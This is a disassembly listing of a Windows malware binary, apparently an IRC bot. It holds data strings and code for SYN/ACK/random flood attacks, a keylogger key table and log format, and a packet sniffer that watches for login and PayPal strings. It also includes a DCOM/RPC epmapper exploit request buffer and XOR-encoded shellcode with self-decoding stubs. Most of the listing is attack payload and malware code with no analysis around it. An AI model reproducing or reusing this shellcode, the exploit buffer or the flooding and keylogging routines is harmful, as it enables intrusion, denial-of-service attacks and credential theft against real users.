		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_426088	db    2			; DATA XREF: sub_4010B5+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B5:loc_4011E1o
					; sub_40EE72+268Fo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B5:loc_4011C5o
					; sub_40EE72+2678o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B5+F1o
					; sub_40EE72+2661o
		align 4
unk_4260DC	db    2			; DATA XREF: sub_40144A+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_42613C	db    2			; DATA XREF: sub_40144A+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_42619C	db    2			; DATA XREF: sub_40144A+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
unk_4261CC	db    2			; DATA XREF: sub_40144A+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_426214	db    2			; DATA XREF: sub_40144A:loc_401493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aSupersynDoneWi	db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo
		align 10h
dword_426280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D7+4Bo
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
dword_4262B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A76+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4262E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_426344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401D82+312o
					; sub_40EE72+2C3Co ...
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401D82+2F2o
					; sub_40EE72+2C25o
aSyn		db 'syn',0              ; DATA XREF: sub_401D82+2D2o
					; sub_40EE72+2C0Do
dword_4263B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4263E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_42642C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D82+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4023A7:loc_40248Ao
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_426BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_426BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022C6+AEo
		dd 2202967h, 2002BBBBh,	732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_4022C6+4Eo
					; sub_40EE72+2AE5o
		align 4
asc_426C1C:				; DATA XREF: sub_4022C6+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo
		align 4
off_426C68	dd offset off_4274E0	; DATA XREF: sub_402688+29Er
		dd offset off_4274DC
		dd offset off_4274D8
		dd offset aHttp		; "HTTP"
dword_426C78	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_402688+1DEo
dword_426C8C	dd 0			; DATA XREF: sub_402688+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: ___:00426C74o
		align 4
off_4274D8	dd offset word_505446	; DATA XREF: ___:00426C70o
off_4274DC	dd offset aThBySS_	; DATA XREF: ___:00426C6Co
					; "th by: (%s!%s)."
off_4274E0	dd offset word_544F42	; DATA XREF: ___:off_426C68o
unk_4274E4	db    2			; DATA XREF: sub_402688+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_427528	db    2			; DATA XREF: sub_402688+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_402688+235o
		align 4
unk_427578	db    2			; DATA XREF: sub_402688+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
unk_4275C0	db    2			; DATA XREF: sub_402688+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
unk_427604	db    2			; DATA XREF: sub_402688+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_427648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DD7+E1o
					; sub_402DD7+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_427694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B84+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4279F8	dd 20h,	0		; DATA XREF: sub_402B84+136o
		dd 20h,	5C005Ch, 0
off_427A0C	dd offset off_43005C	; DATA XREF: sub_402B84+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_427A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B84+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_427A80	dd offset word_580046	; DATA XREF: sub_402B84+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_427B5C	dd 18759Fh		; DATA XREF: sub_402B84+104o
dword_427B60	dd 100139Dh		; DATA XREF: sub_402B84+FBo
asc_427B64:				; DATA XREF: sub_4029E9+1Co
					; sub_402ACC+16o
		unicode	0, <\\>,0
		align 4
off_427B6C	dd offset dword_49005C	; DATA XREF: sub_4029E9+Co
					; sub_402ACC+Bo
		dd offset off_430050
		dd 24h
unk_427B78	db    2			; DATA XREF: sub_402DD7+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DD7+41o
		align 8
		jmp	short loc_427BDA

; =============== S U B	R O U T	I N E =======================================



sub_427BCA	proc far		; CODE XREF: sub_427BCA:loc_427BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_427BD2:				; CODE XREF: sub_427BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_427BD2
		jmp	short loc_427BDF
; ---------------------------------------------------------------------------

loc_427BDA:				; CODE XREF: ___:00427BC8j
		call	near ptr sub_427BCA

loc_427BDF:				; CODE XREF: sub_427BCA+Ej
		jo	short loc_427C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_427C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_427C43:				; CODE XREF: sub_427BCA:loc_427BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_427C61:				; CODE XREF: sub_427BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_427BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_427D08:				; DATA XREF: sub_403249+156o
					; sub_403249+212o
		jmp	short loc_427D1A

; =============== S U B	R O U T	I N E =======================================



sub_427D0A	proc near		; CODE XREF: sub_427D0A:loc_427D1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_427D12:				; CODE XREF: sub_427D0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_427D12
		jmp	short loc_427D1F
; ---------------------------------------------------------------------------

loc_427D1A:				; CODE XREF: ___:loc_427D08j
		call	sub_427D0A

loc_427D1F:				; CODE XREF: sub_427D0A+Ej
		jo	short near ptr dword_427C98+1Eh
		cwde
		cdq
		cdq
		retn
sub_427D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_427DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403249+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
